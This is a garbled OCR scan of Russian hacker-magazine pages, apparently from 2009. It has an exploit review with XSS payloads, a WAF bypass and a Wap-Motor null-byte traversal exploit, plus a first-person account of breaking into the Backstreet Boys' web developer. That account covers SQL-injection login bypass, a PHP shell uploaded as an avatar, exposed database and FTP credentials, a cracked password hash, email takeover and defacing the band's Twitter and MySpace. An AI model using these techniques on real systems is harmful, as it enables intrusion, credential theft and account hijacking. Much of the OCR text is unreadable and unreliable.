v Sury |l = oo Al Pepises
e
= THEORY OF LTABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORY -
© UIkCLmTNG NEGLIGENEE O DTHERWISE) ARLSING. 31 ANY WAT GUT OF THE USE OF
WIS SOF TIARE . EUEH 1F AOVISED OF THE ROLSTRILETY OF LUCH DAMAGE:

"l edutine FIREFOX ~pwid=
5| wdotine OPENSSH | ENEFOX

usl| Mdlotane EXPLOET “getunique® g
& ki
= : f

@
W
@ o
(=

© <7 Tab widihe 8~ Lnas, Cal 1 3

Dane

P e 40 opensana.z... | sshdct-rca. TP

W3MEHEHHbIWA
3AMPYXEHHGLIA GAUN
B FIREFOX

@ indexat fpu... | @ Dowonloads

(HanpumMep, TexcT, napons, Bsibop 1 T.4.). Tak kak BonbluuHCTEE Bas faktbix
NnBo He NpyuHUMataT, NDo OYULLAIOT HENPaBWAbHbIE MyAETMDANRT-CTPOKK,
YA3BMMOCTb MOXET BCTPETUTLES HE Tak HacTo, HO, TeM He MeHee, Ha [BuTTepe
OHa MPUCYTCTEOBANE W YCMNELIHO 3KCMNYaTUPOBANECH 3N0YMbILLASHHNKaMU.

(24 Xe] )l SxcnnoiiT ana onuceiBagmMoil XSS MoxkeT DEITh NpeAcTaENeH BO
MHOXKECTBE BapWaHTOB, HanpuMep:

<a href="http://site.com" title="%¥385 [MynsrubBaiT-CcHM-
BOJII, KOTOPHH [Iepe3alieT clenyome 2 cuMsona] ">ABCD"

onerror='alert (131)'>131</a>

Ecnuy Tebs ecTs BO3MOXHOCTE U3MEHATE COAEpUMoe aTpKbyTa title n Tl
3anuilells B kBaapaTHble ckobkm cMeon 3a Homepo 0131 [ALT +0131), To
cnegyroue 3a HUM KaBblYKK B MyﬂbTHﬁal‘;iTDEO\;l KOOWPOBKE NPOCTO CheAAT-
cs [NpeBpaTaTea B HeKWIA YeTHIPexDaMTORLIA CHMEON] 1 33 KPLIBAK LKA Ter
«>» ByAET yKe BHYTPU APYTUX KaBbIYeK:

<a href="http://site.com" title="XSS [nomyydeHHbA 4-Haji-

TOBHI CUMBON]>ABCD" onerror='alert (143) '>143</a>

Jeno B Tom, uto, KnpumMepy, B koaupoeke GB2313 cumeon 0131 (5 geca-
TUYHOW cucTeMe] Ha CaMOM [IENE He SBNSIETCA OTARNbHBIM CHMBOIOM — OH
WL HAYaNO PYrora CUMBONA, TO 8CTh B Pe3YNETaTE MHXEKTa MMaeM
cumeon 0131 + KaBblyki = «OTAENBHEIA CUMBO».

MoapobHee 0 A@HHOM BEKTOPE MEKCAWTOBOMO CKPUIMTMHIA MOXHO MOYH-
TaTk Ha ypexyAckom Gopyme hill|

4 1a iltiby haracte

L8] 2.0.0 v Bce noasepevn.

o]l j[e])] Kak Beerpa, He 3aboizaem 0BHOBNATLCA. AKTyaNbHbIE BERCHK

Ruby on Rails — 2.3.4, 2.2.3, ckauaTk MX MOXHO Ha C3IATe MPOM3BOJUTENS —

rubyonrails.or

04!

EEEBOTeL«eCTBeHHDﬁ pazpabotie o1 1C — Bitrix CMS [gausxok ucnonsay-
eTcs, HanpuMep, TakiM NoNyNApHLIM CEKYPUTU-NOPTaNoM, Kaxk sectrivlal

MEXXCAWUTOBBIN
CKPUMNTUHI
BBITRIX CMS
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5]

<3 Applications Places System [] & a4 Mon Sep 7, 11:01 PM linux (&)

e e e e e e L OKHO 3ATPY3KUB
@ index of /pub/OpenBSD/OpensSSH/portable - Mozilla Firefox =L o] % MOZ'LLA FIREFOX
File Edit View History Bookmarks Tools Help

il ~ 6 | 8 bupobsd.cec.mtu.eduipub/OpenBSD/OPENSSH/ports ~| [*g~ 3

[ Most Visited ~

jLatest Headlines~

A Getting Started

@ Index of /pub/OpenBSD/Openss...

openzeh-4.90l. tar. 4l
-5, Gpl-vs-opd®
openssh-%, Opl . tar.
openssh-3.0p1 . 1ar. 94
gpenssh-5.1pl ys-0p
openssh-5.1pl. tar. g3

i
@&
w
enssh-S. b
B
i
4
[
]

T

You have chosen to open
'l openssh-5.2pl.tar.gz

which is a: Tar archive
from: http:/jobsd.cec.mtu.edu

‘What should Firefox do with this file?

openssh-%, 2pl-vs-ond

Openwith  Archive Manager (default) ~
apanssh-* 1. 1ar.4
i save File
openssh Zpl. tar.al
J Awsedt o -[im now on,
[ —— 0
ol &l ok
3 uEs
f vovmn 101
D¢ [i2mminiin

| BesTRER 01
P [
- | Lesenok]101|
|sTeEsor 1021
TUSIA 1021
| maziozaiio)
\STaLER-2s0e 1051

[ENT——

LU, CEeThI0 Mara3uHOR BLITOBCH 3NEKTPOHUKK «3NBA0PaJ0» U HECKOBKIMM
TEICAYaMU APYTUX M3BECTHBIX GrpM] He Tak AasHO Buinv 0BHapyxeHb cross
site scripting yazsumoctu. O Hux, B pamkax dectveans Chaos Constructicns
2009, coobuimn Bnagmmup Boporues [http://on rul.

Mepeas bara cylecTByeT M3-2a OTCYTCTBUA GUALTPALLMI CUMBONA ORUHER-
HoI kaBbluky B http-3zronoeke «Referers, koTopsiil oTobpaxkaeTca B Tere
«<@>» Ha CTPaHMLaX CTAaTUCTUKM B aOMWHUCTPATUBHOM YacTu Moayna «Beb-
aHannTKa». 3aiAs Ha CaliT KepTBh CO CreluansHo CHOPMUPOBAHHEM
pedepepoM, 3N0YMEILUNEHHWK BHECET CBOW 3/10HABMEPEHHBIF KO NPAMO B
afAMWUHKY CaliTa, YTo YPEeBaTO XULLEHUEM 3MUHCKIX KYKNCOB,

Bropas bara BO3HMK3ET M3-32 HENONHOW GUNLTPALUM BXOAHbIX
AaHHblx B Moayne WAF [«MMpoakTvieras 3awmnTa»|. YaaneHHsl i nons-
30BaTeNk MOXET 00CHTY yCTaHOBNEHHbIE GUABLTPLI U NPOW3BECTH
XSS-Hanaperue. [lna yenewroi skcnnyatayum Tpebyetca 3apanee
BHECTW CBOWM Ko/, B Ba3y AaHHbIX BMXKa [KOMMEHTApKMM, NOCTH 1
T.4.).

e 2GR /1151 nepBoi y53BUMOCTY CaM aBTOP MPUBOAWT CIEAYIOLLIUA
dopmat nepeckinaemMoro 3aronogka Referer:

Referer: " style="onsec:e&#92xps#92res#92s&#92s84#92i8#
920&#92n(alert (111))

Takxe B 3TOM NpUMEDE UCMONB3YeTCH W 0BX0 MPoakTUBHOTD duibTpa WAF-
apuxka «1C-butpukes.

Hns eropoit baru security-axkcnept 22 40 GecTUBANBHBIX MUHYT CMOT HAATK
TakMe BEKTOPLI 00X0/13 GUNETPE 38LWUTHI:

<style>
@N\69NEDNTONGENT2Y

</style>

74 url (http://onsec.ru/xss.css) ;

eGHI2XPEHIZreLk#92s&H#928&#9214#920&#92N
[MpoakTBHLIA GuasTp WAF npoBepaeT BxofHbIe JaHHbLIE NONL30BaTENR Ha
HanW4mMe NoTeHUMaNEHO ONAcKbIX CTPOK M0 OrPOMHON Ha3e perynapHbIX Bhi-

paxeHnit v GUALTPYET MHOXEBCTBO BapyaHToB peanu3sauuii SAL-nHbekLUmi,
Includes, XSS. Ho MMeHHo 3TV BapUaHTLl paapaboTynkm kak-To He yuu :.

el 38y Bitrix CMS <=8.0.5

1o AN (e 1117 ceoeBpeMeHHol 3aWmnTel 0bnagatenu Butpukca nerko
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2 15w i by s Bk b Tt Do e by

XSS B GOOGLECHROME g

cMoryT 0BHOBUTLCH Yepes BCTPOEHHbI dyHKLoHan obHoBneHus. [ng yer-
paHeHus MepBoi YA3BUMOCTY C pedepepaM MOXHO Takke BKIDYNTL MOAYNb
NPOaKTUBHON 38LLNTHI.

05

m MNouemy-To Tema WAP-caitToB BCTpeYaeTCs B J- KpaliHe peako.
HacTano Bpems ucnpasuts aTo HegopasyMeHne. MTak, HegaeHo HalgeH-
Has YA3BUMOCThL NPOCMOTPA COAEPKUMOTC NPOU3BC/bHbIX NOKaNbHbIX
¢dainos 8 CMS Wap-motor, koTopyio ucnonkayoT mHokectso Wap-cai-
ToB Ha TeppuTopuy CHI u BawxHero aapybexsd, No3BoONAET NPOYKUTATL
BaxHbie KoOHGUMM 1 bainel TekcToEok Bazw gaHHbIX ABMXKKE. [Ipose-
nem HebonbIoR pEBEPCUHT CKPMINTOB XepTasl BMECTE C aBTopoM Daru

PACKPBITUE
JOAHHbIX
BWAP-MOTOR

Inj3ct0r'om (Inj3ctOrcom).
1.07kpeizaem daiin Jgallery/gallery.php:

<?php
require_once"../template/start.php";

require once"../template/regglobals.php";
require_once"../template/config.php";
require once"../template/functions.php";

Simage=check ($image) ;

Sext = strtolower (substr($image, strrpos ($image, '."')
il

if (sext=="Jpg" || Sext=="gif" || Sext=="png") {

if (Sext=="jpg") {Sext="4peg";]}

¢filename = BASEDIR. "local/datagallery/Simage" ;
Sfilename = file get contents($filename) ;
header ( 'Content-Disposition: inline;
filename=""'.Simage."'""');

header ("Content-type: image/Sext");

header { "Content-Length: ".strlen($filename));
echo $filename;
}

2. Hdanee Jtemplate/regglobals.php:

» 049
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htp:jtwitter.com/atebits/status/ 1286199010

apifail

Tre page st hitp rttercom sy

Login Join Twitter!

g, Youshouldbe giadi g

Something profo
= I D S R D I 1 i I R I

= I e S 1 1 D I L e o e [ D VR
I [ D B b I [ [ B 5 o B D B

30 [ @ P A, CompeteRankd) pnm— 4

= [ I > [ () |5 S (e ) i [ [ D [ [ JO
= I I b [ ) [ (R [ ) L [ I D [

o b [ > O > S D [ i A 1 T 1 S IS (B |

LOITS i
EE(SIE[{M atebits
Loren Brichter
EXPLOITS
REVIEW
@2000 Twitter AboutUs Contact Blog Status Goodies APl Business Help Jebs Terms Prvacy
NOANEPHKAUNICODE TBUTTEPOM
<?php 1.Mepemennan $ GET['image’] mobanuayerca u npespalyaercs 8 fimage:

if (lini_get ('regi al while(list (Skey, Svalue) each(5_GET) ) $SGLOBALS[Skey]

SGLOBAIT

while(list( 2 $image nposepaetcs kak $check _url B Heckonbkux eregi-perynapkax Ha

SGLOBALS [Skey]=Svalue; npeAMeT HeXOPOLLIKNX CUMBOJIOB;
while(list (skey,$value)=each ($_SESSTION) ) 3. 3aTeM NpoV3BOAATCA HE COBCEM NOHATHLIE TDE3BOMY NPOrpaMMUCTy
SGLOBALS [$key | =$value; MaHUNYASLMK C paclumpervem Tpebyemora gaina;
} 4. Hyskrbli daiin YynTaeTtes v oTAaeTCs No/b30Bateio.
foreach T as scheck url) { KaBaﬂOCb Dbl Hepe3 NpuBeAeHHbIE BhllLe PeryIapKM HEBO3MOX-
IE (feregi ("< [*>]*script s\ 2 [F=]7*>"; Scheck 1url)) HO NPOBECTU HUKAKOA directory traversal, Ho, BCNOMHUB MeTo/, JnekTa f4is
| ( >] *object*\"2[*>]*>" , Scheck _url}) || ereg[il-gyHKLUWA, BNOAHE YCMIELIHO MOXHO 32103aTh M0BUMbIA BCeMi Hysn-banT.
(eregi("<[*>] *iframe*\"? >Jix=" . Scheck url}) Wexons 3 aToro, cxema 3KkCnyaTupoBaHus Baru MoxeT ObITh ChefyoL|ei:

[ (eregit'<[~>]*applet*\"2[*>]*>", Scheck url})) || 1.YuTaeM cnmucok a\MMHOB:

<[*>] *meta*\"?2[*>]*>", Scheck_url)) ||

(eregi ("< [”> Scheck_url)) || http://wap.site.com/gallery/gallery.php?image=%00../

(eregif< [85] * form#\ i datatmp/adminlist.dat%00.gif

[~)1¥\) ", Scheck url)) ||

%

1

(eregi ("N ([">]*\

{eregi("\"", $check url)) || (eregi("\*'", 2. Yutaem credentials nioboro M3 agMuHoB:
Scheck_url)) |l (eregi("\./", $ k_url)) |
{eregi (“//", Scheck url)) || (eregi("<", http://wap.site.com/gallery/gallery.php?image=%00../
Scheck_url)) || (eregi(">", $check url))) { profil/[MY_ADMIN_NAME] .prof%00.gif
header ("Location: ".BASEDIR."index.php?isset=403&". Z.Hacnaxpaemca aAMUHCKMMK NpaBami,
SID) ; exit; KoHeuHo, Ang yeneuwHora sHeApeHus Hynn-baita Ha cepsepe KepTesl
} NIOMXHB! BbITh OTKMIOYEHLI Magic_quotes.
7> el Wap-Moator <= 18.0.

Teneps paccmoTpiM nopobHee, 4To ke nponcxonnt 6 npuaeneHHsix ckpun-  EOUIION] Mulem nocneaHiow sepcuio ABKKKa Ha CaidTe NpOM3BOANTENR —
Tax npv nepenaqe napamerpa $_GET['image': htip://visavi.net/wap-motor.e=
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BACKSTREET'S

BACK!

TOTAJIbBHOE YHUYTOXXEHUE T'PYNIMbl BACKSTREET BOYS

CerofHs s paccKaxy 3aHMMaTe bHYI0 UCTOPUIO O TOM, KaK BbICTPO 1

I‘IpaKTl/NeCKM bes bos cnaﬂmca

, d TAKXe r‘f*

f}fl‘ -

.{,'\)i|

1':-3;-_;15 b;] s

myspace.co :j.f;,f'

— OCHOBHBIE CETEBLIE

pecypchbl HeKoraa HOL{MTaeMoH COMMBbLIMUW leBOYKaMu rpynnbl. Bce Hava-
JIOCb CTOrO, YTO TPETHEro AHA HeDE3bI3BECTHLIN PEAAKTOP PYDPUKM HAMEK-
HYN 0 NPOLOJI3KEHNM TEMbI B3JTOMa BCENOYMTaeMbIX 3apyDeKHbIX 3HaMeHM -

TOCTeW, a B ro/IoBe KaK pa3 BepTefiack HexnTpad neceHka «Everybody».

WHOISWHO

HadyHeM Halm packorky, KOHEYHD Xe, C nc-
cnefoBaHuA canTa \
Pecypc npepcraBnseTt coboli NpocTeHbKylo cTap-
ToBYlo cTpaHuLy Ha flash ¢ doTorpadumeii rpynne
1 Hannuesw «Coming soon». Huxe pacnona-
raioTcs Heckonbko cebinok: Tour Dates, Enter
Fanclub, Shop BSB, BSBlog. Tour Dates v Enter
Fandub BeﬂyrHa OfMUH 1 TOT Xe cabnomeH —
f | Shop BSB

BefeT Ha JIeBLIF AoMeH

I . @ BSBlog, cooTeeTtct-

» 052

BEHHO, Ha

Thl HE YAMBWLLLCS, ECITU Y3HAB LU, YTO [ABUXKOM
bnora rpynnbl ABAAETCS YKE 3HAKOMbIA Tebe
WordPress
sepeus bnora (2.7.1] Bbina Ha TOT MOMEHT HeynA3-

:]. Ho, kak 310 3auacTyio buiBaer,

BMMAa, TaK YTO € BbICTPBIM U XansBHbIM E3N0OMOM
NPULLNOCE pacnpoLaTbes.
TyT CTOMT YyNOMSHYTh, 4T0 A He 33060 NoUcKaTs 1
aAMUHKY pecypca. [akoBas Halunack no agpecy

I ,HoTpeboBana
http-asTopu3zauuu, 1 3TOT BEpKUaHT Takxe npu-
LI0Ch HA HEKOTOpOe BpemMs) OTNOXKTh.

[lanblue Ha NyTW HALEro UCCNeAoBaHUsA CTOWT
Ganknyb rpynnel —

BABJIO NMOBEXIAET 3J10!

MaHknyb npegcrasnaer coboil npocTeiiy

COUMWanbHyo CeThb, HO paEOTa|omy|o Ha nnaTHoR
ocHose (NocnedHKA yernewHbli ansbom Bakm
suinyctunu & 2007 rogy, Teneps Hago e Ha Yem-
TO zapnf)a'rbma:—hJ, [TnatHo 3[echbBCe, HadkHaqa

0T 4ara c GopyMOM W 3aKaHYMBESA NPOCMOTPOM
BEVNAE0 KX d]OTO CKOHLEPTOB U TYPORB MHe He o4eHk

XO0Tenocb OTA3BaTb CBOM KPOBHbIE 38 TAKOIo
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pogda ycayri. [1pulLnoch [OBONLCTBOBATLCA TEM,
470 eCcTk, becnnatHelMu pasgenamu danknyba
okasanuck Bcero Tpu ceekr: Home [rnas-
nan), Tour [pacncanve Typos) u Discography
lamcrorpadmal. MNowsnesaslumncs BAODBONL Ha
OTKPLIBLUMXCH CTP@HKUYKaX Haj BCeMO3MO3XK-
HbiMI NapameTpami [HackonbKo 370 No3BONAN
rmod_rewrite, BONBWWHCTBO CCINOK BITTAOENN
BTakoM cTnne — http.//far y
nts/827 #eignups), aTakke nonpoboBas

CTaHOapTHbIE NYTK 4158 NOMCKa aAMUHKN, A NOHAT,

4YTO Ha JaHHOM C36,J]DMEH(:‘ NOBWUTH COBEPLIEHHD
HEHEro 1 CTas pashyMbiBaTh Hag AanbHeluMu
waramu. HeMHOT0 Norofs MoK B3rS4 ynan Ha
byTep calita

© 2009 Backstreet Boys. All rights

3auHTepecoBaBlWKCh, YTa coboil NpeacTaBnaet
gbileo3HadeHHbli «ground(ctrll», i npocneno-
gan Ha caiT http://aroundctrl

HEYA3BUMbIX HE BbIBAET

Okazanocs, 4o ground(ctrl) — 370 kKoHTOpPA, KOTO-
pas pa3pabaTkiBaeT canTel HA DCHOBE CBORK CMS
IINA pasnUyHbIX 3HaMeHUTOCTEN. Kak oHM cami

o cebe nuulyT: «We offer innovative interactive
marketing and merchandising services for Music
Stars, Athletes, and Personalities»

KnvenTamm koHTopel [kpome Backstreet Boys) as-
NSIoTCA Takue Niodwy U KonnekTuesl, kak: Daughtry,
Papa Roach, Paul Oakenfold, Thalia, Far, New
Kids cnthe Block, Third Eye Blind, Dredg, Gavin
Rossdale. MNogebHslii noeopoT cobeiTuit npraan

MHE OOTIONHWATENbHBIX CAN ONA NOWNCKa I'\yTEPI

BHYTPUBSBADMIN.COM

I backstreetboys

MOEMOCJIAHWEHATBUTTEPE
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GROUND(CTRL) —3TO KOHTOPA, KOTOPAS
PA3PABATbIBAET CAUTbIHA OCHOBE CBOEM
CMS 1A PA3JIMMHbIX 3HAMEHUTOCTEM.

NPOHWKHOBEH WA Kak Ha backsireetboys com, Tak

Ha caiite pazpaboTtuuka 38e30H0M CMS 5 yKE He

WMHacam i ind

CTan BCTaBNATh Pa3Hble HeXopOoLUWe CUMBOJILI BO
BCEBO3MOXHbIE NapaMeTobl, a CPpasy NprHANCH
33 NOWMCKM aAMUHKW W MOMEHTEIbHO Hallen ee No
apgpecy hitp://groundcirl.corn/agmin.
OTkpeiBLIAACA MOEMY B30PY CTPAHMYKa
nopagoBsana Tem GakToM, YT0 3AeCh UCNONbL-
30Banack He http-ayteHTudrikayma, a camble
oBblYHbIE NoTUH/Napons Yepes Beb-bopmy.
3T10 03HaYano, 4To ANS aBTOPM3aLMUMN 1C-
noNb3yeTcs Kakan-To 633a AaHHBIX U MOXHO
bbino b6l NOTECTMTE COOTBETCTBYIOWME NONA
Ha BaHanbHylo ckynb-uHbekUMIO. WTak, nocne
cabmuta B nong «Username» n «Password»
3HaveHus «1'» a yengen cnenyowyo sql-
OWWBKY:

CT * FROM users WHE

1'' AND password = MD5('1I\'")
Crano beTs, npodeccuodanskble 8eb-nporpam-
MWCTBI HE YCNIeAWNY 38 NpOoCcTeillel GunbTpaL -
eli noner 8oaa 3.

Tenepk 3an10rMHWTLCA B afiMUHKY HE COCTARNAND
TPYAa: B MONE C03ePHERMOM [1A 3TOT0 LG Che-
L0BaN0 BCTEBWTL YTO-TO Bpode « 1 or 1=1/%».

Tel, HeBepHOE, YXe 3Haelb, — aqMUHKK CanToB
OYEHb YaCTO NOJBEPXKEHbLI MHOXECTBY YA3BUMOC-
Telt. Beb-pa3paboTumki NoNaraloT, 4TO HUKTO He
CMOXET MPOHUKHYTE B 3Ty CaMYI0 aiMUHKY U3BHE <]
BoT 1 Ha 3707 pas Bce 0ka3anochk ropasgao npotle,
yem A gyman. 3aias B pasgen «Manage Users»,

A Hayraz BolDpa s pefakTuposadna npodain
103epa ¢ HWKoM «jennie». B npodaine, kak 310
yacro BoiBaeT, okaszanach opMa 3arpy3kn agata-
pa, pAaoM ¢ koTopoli Beino HanucaHo «jpg, gif and
pngimages minimum size 265 x 213», Yem yept
HE WYTWT, — A, KOHEYHO Xe, NonpoboBsan 3aAnTs
CBOWM php-LLenn BMecTo asarapa.

Be3 kakux-nvbo 4onoNHUTENBHbIX BONPOCOB MO
evil-daitn ycnewHa 3arpyannca no anpecy il

roundctrl.com/media/images/404.php.

BHYTPU

Tyt HeobxoanMo caenaTs Hebonbluyio peMapky.
Bo Bpema npocmoTpa cnvcka noab3osaTenew
B agmuHke groundcts N MHe npulna uaes
NOWCKATE MEIBHLIA POR-AOMEH LaHHOMD
calTa, Tak Kak BCe nonb3osatenn-agMuHbl
MMeNW MbiNo MMEHHO B fomeHe groundctr]
TyT, KK 3T0 HK CTPAHHO, MHE CHOBA ynblbHY-
nackypada B Buge pegnpexrac hitp://mail
jroundctr 1 Ha hilps://www.google

around recomyserviceLogin.

BrionHe Bo3MOXHO, 4TO Kakue-1Mbo naponu

anMUHOB Bhink Bl oaMHaKoBLIMK 1 418 Gmail.
Tam morna xpanuTbes cnyxkebrasn nepenucka
pazpaboTumKos.HYXHOW MHe cms. Teneps, Korga
y MeHs nMencs eeb-wenn Ha aroundclirl.com, He-
nnoxo bbino Bl U3YYUTE MCXOAHWMKK agMUHKK Ha
npeaMerT faHHbIx Ang nogrnueHns K MySQL, dem
an 3ananca. HyxHole JaHHbIe NoHTH Cpa3y e Ha-

wnmeck B pannnke fvarfwww/vhosts/groundctrl

tipdo dmi

<?php
define ('DB_USER',
{'DB_PASSWORD' ,

rgroindezel )
define

"breakhouse') ;
define ('DB_HOST',

('"DB_NAME" ,

'localhost’);
define ‘groundctrl
website') ;

Sdbe = @mysgl_connect (DB_HOST,
DBE_USER, DB_PASSWORD) or die ('Could
not connect to MySQL: ' . mysgl_
error{));:

mysgl_select_db (DB _NAME) ;

Wwa v cTpykTypa Tabnuuel c anMUHaMI MHE yXe
Bblnu NpubAM3nNTeNBHO M3BECTHLI M3 CaMOMN
nepeoi sgql-olwmnbky Npy Bxone 8 agMuHKY.
Ocrasanoce Habpocats HebonsLLo# ckpyUnT oNg
sbinonHeHws g PHP-eval okre wenna:

include 'mysql cont .php';

sgquery = mysgl_query {'select * from
while($arr = mysgl_fetch

array (Squery) )

PrinE Elsart);

1

Kog sbiBen Ha Moii 3kpaH noapobHbie faHHbe
Bcex agMnHos. Buibpak Hayrag nenb3osarend c
Melnom matl sergent@ar com kmadb-
xewew napons 330ef80613513b8286193042bf372
362, 9 oTnpaBunca paclumdposLEIBaTh Xell BIrc Ha
plain-text.info:

Mdg .c3p0 addmd5 330ef80613513b82
86£95042bf372362

C3P0 Mdg: add ok..:at 02:51:33
C3P0 MD5 Hagh:3302£80613513b8
286£95042bf372362 passwd:paplee
hex:7061706c6565

rMblJ10

OcraBanock 3aN0rMHUTECA MO anpecy

Servicelogin c norvHoM «matt.sergent» n
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Copepriamios nama

Tun Pasuep

Bpeus

05,09, 2
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First Namay Jennie

Last Name: Quan

Emal. errie qun@groundcticom equred

Cument Avatar

Naw Avata

®OPMA3ATPY3KU LUENNIAYEPE3 ABATAP ;)

b links

— BUHOBHUK TOpXec-
18a.
*Q | i
pazpaboTymk canToB
409 33pybexHbIX
38e34.
g s

—arpynne
Backstreet Boys Ha
Buknneann.
e 5 f
CTPaHMLA KONNEKTUBE
Ha MySpace.

mMukpobnor bakos
Ha TeutTepe.

» 054

naponem <<paplee>>. YTO MHE YCNEeLWHo nyaanocb coenatb.

,ﬂaﬂee 1 BOCMNONb30Bancd saMeyaTenbHbiM NOMCKOM Cpen

nMMCeM, KOTOPbIM 3aB0TNMBO BCTPOWA B CBOW MBINEHLIN

cepsuc gagsa [yrn. B kavecTee novckoBbix ¢ppas s Mcnanb3o-

Ban cnefyolpe kombunaumm: «ftp pass», «ftp password»,
«password login». B pe3ynbrate packonok Mot ynoB cocTa-
BUNW KKaYHThI:

Myspace.Com

b

shadmin.com (o xe admin treetboys.com)

ackstreet

host: b

boys .com

: backstr shack

pass: 3rxvtbopueuyr
FTP

host: groundctrl.com
user: groundctrl

negbziflzfgw

— 1 MHOXKECTBO APYrMX MHTepecHenwmx Belei [epoge gocty-
nos K naHenu ynpasnequn Plesk, roct-axkkayHtos mysql v ftp/
sftp-akkayHTOoB K BRIMKOMY MHOXECTEY CalToB), KoTopkie A He
Xo4y ceryac nepef Toboi nanuTe )

Ho, HakoHeL-TaKu, Lenb Hawero keecTa gocTurnyral Hacrano
BPEMSH COBCEM HEMHOIO NOTNYMWTLCA Ha[ paHaTaMi Hallenr
MoJONbITHOW Fpynnbl

COLMATIbHBIE CETU

Tak kak gedeicoM 3aHUMATEA NULLL NePBOKIaCCHUKN, 4
PeLUMn HanpPaBWUTb CBOW OCHOBHbIE AeACTBIA Ha aKKayHTLI
rpynribl B counanbHolix cetax. Cnepsa s 3anoctun B IButTep
cakpameHTanbHyio ppasy «|'ll be watching you! From Russia
with love :]» [kak n B cny4ae co Ctuserom Mpaem). YaueneHHsie
OTKAWKM PEHETOB He 3acTaBniy cebs xaTs:

piiittta@backstreetboys what...l dont
nndercstancd2?2z2?2

NinaBackstreetRT €kalrarcsa @backstreetBDoys

22722 OMG!

Ch Guys! !ttt

Around the world again? ! Love you! Say

to Brazil!

Loliii@backstreetboys I'1l1 be watching ¥YOU
with love from Argentina, how about that uh?
realNinoRodgers@backstreetbovs I1'11 be
watching you! From Russia with love :) <<
That's my country, HAVE FUN!! :-)
MysticalPixie@backstreetboys who will be
watching? gotta tell us who is twitting here
guys. ..lol

puricha@backstreetboys What? Are you in

now? I thought you were in Madrid !!

DannynhaMansanikbackstreetboys Are u going to
Russia? Is Russia your next stop, guys? WOW!

U're traveling a lot, hope u're having some fun

=]

overloved@backstreetboys ooochhh my boys
tell me something, i wanna know if u do feeling

excited to come to Dubai?? how u feel? :D

m_serra@backstreetboys i'm watching yvou! from
brazil with love :)
k_rina_kthspa@backstreetboys COME BACK TO
SOUTHAMERTICA. . CHILE MISS YOU!!! BESGS!!! SA

FANS.. LOVES YOU!!!l! PLEASE!! :-{

valelOl@backstreetboys heeey what?s new.. are
in Russia .. Wow, understand the language ..

tell me something in Russian?. .. jeje kisses

MayvMclean@backstreetboys Hey guys. .. what's

up?? Russia. .. this is great!! OMG!! tell us
when TIU TOUR will arrive in Brazil?!

danyzinhalee_@backstreethoys Russia, madrid,

Holland, Germany, u guys travel a lot —
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NoYTOBLIE AWK OQHOIO U3 AAMUHOB
GROUNDI(CTRL)

) it o i et

. P ococeni =:;m”
ot < woSkmII)
BHYTPUAKKAYHTABSBHAMYSPACE
beijinheo doce to you

pancho_torto@backstreet cople

said that it's a great placee!!! please come

back to Argentinaa!

11 We love

you guys!!

Kak Buanis, noauw beiny kpaiHe yAVBAEHEI TEM, YTO MX KYMUPbI
BHE3AIMHO MepeMecTnincs u3 bpasuauy 8 Poccuio, nostoMy,
Gyny-v Bonblue He B CMNaX HUKOTC TRABMUPOBET, A yAanna
ceoii nocr .

Mopclwna cuepefib He COBCEM 3HakoMoro MHe MySpace. He-
MHOro pa30bpaBILIKUCE CO BHYTPEHHWM YCTPOWCTBOM 3TOI COLM
a/1bHON CaTW, 5 pa3MeCcTu e u3BecTHyo Tebe ppasy B mocTe
Hnora BSB v Ha rnaeHoi cTpanvue npodaina B KOMMEHTEPUSIX
Bot kakue oTseTsl A noy4mn ot panatos Backstreet Boys:

Malra Carter:

STREET BOYS FOREV

COME TO

And who will that 'I' be ) Mr LatErell?
SQL-MHBEKLU WA B AOMUHKE
GROUNDCTRL.COM

T3 it figr oundead comiosurndex ohp, =z

‘o have an Envor 1 your L wyetas

Thie e ruae iy plsswed vou BrASTES wEIE Ot RIS Dok chisk your
atry ¥y g

Sign in to the groundctrl.com CMS

Usemama: 1 =

Passwerd
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Mr Mclean -? Mr Dorough??2? ;)

watching too... From Holland with

remember,
back! :)

Mexico loves you, you have to come

I don't know WHO will be watching us..:p but 1

have a feeling that Nick is the one who will be

watching us!
*JULIE*QRR*:
oh never mind then lol

kno ill be watching us, but T'm

will be watching u ;)

From Brazil, with love =)

What?

1 na MySpace Takxe npecbnagaer yauenexne paHos
HacyeT Toro, 4o Baku «nuwyT n3 Poccui», a fosixHbl bbl
HaxoaWuTeCA B bpasuauu. Tak uTo MHE CHOBA NPULINOCK
YAANATL CBOW 3aMMCK 1 38 KaHYNBATL ITOT MWK XaK Ha CToNb
BLICOKOW HOTE.

3JIOKJTOYEHUE

He Bcerna rpaMoTHO CAENAaHHBIM, XOPOLIO HACTPOEH -
HBIF M MPONaTYeHHbIA CanT 03HaYaeT, YT0 ero HeBO3-
MOXHO B3/10MaTs. 3a4acTylo xakepy noMoraer obbiuHbIA
yenopevyeckui daxTop, Byab TO COUMANbHAN UHXEHE-
pUS MW NPOCTan HEBHMMATENLHOCTL pa3paboTyuKoe,
0T KOTOPOV He 3aCTPaxoBaHbl faxe camble boratele

W 3HaMeHWThle. Hagewch, Thl BHIHEC U3 3TOW CTaTbK

¥ APYroi 04EeHb NPOCTON, HO BAXHbIW COBET: HMKOT-

03 He COXpaHak B CBOEM NOYTOBOM ALLMKE NUCbMA,
conepxalme 8 cefie NOMVHBI, Napoay U APYTyio BaxHyw
nHdopmMaLuio!

P2, 0B03alo pynuTb HACTPORHUAMA MHOIOTHICAYHOM apMiin
danatos. Co BpeMEHEM X AU NPOJOIIKEHNA MHTEPECHOTO
«3BE3LHOM0 B3NOMa» :). 30

JIRES

b info

Backstreet Boys [aHrn.
«[lapHu c 3a/1BOPOK»)—
aMepuKaHckas nor
rpynna, kotopas beina
obpasopara 20 anpena
1993 roga e Opnanpo
[®nopwaal. B2001 .
Beina BHeceHa B Kuury
pekoppos [MHHeca kak
caMas KOMMEepUECKn
ycreuwHas NoApocTKo-
BAS BOKANbHAA KOMaH-
13 BCEX BPEMEH.
Backstreet Boys
ABNAKTCH OAHUMU 13
CaMmbIX Mpo/aBaeMbIx
venonHuTened B Mupe,
¥ OIHMMU 13 TEX, KTO
3apabotan bonblue
BCEro fieHer Ha CBOMX
QVCKaX 1 KOHLepTax.
[pynna cocrout n3
YEeThbIPEX YEDBEK:

Huk Kaprep, 31 [Ixen
MaknuH, Epanan
Nuttpenn, Xayu [lopay.
MATHIA yHaCTHUK —
KeBuH PuyapncoH —
MOKWUHYI FPYNmy

23 uions 2006 ropa,

L WARNING |

b info

Bce onvcanHoe

B CTaTbe ABMAETCA
naogom BonbHoro
soofpaxeHus aBTopa.
JNobble cosnageHva
C CYLLECTBYHLWMMN
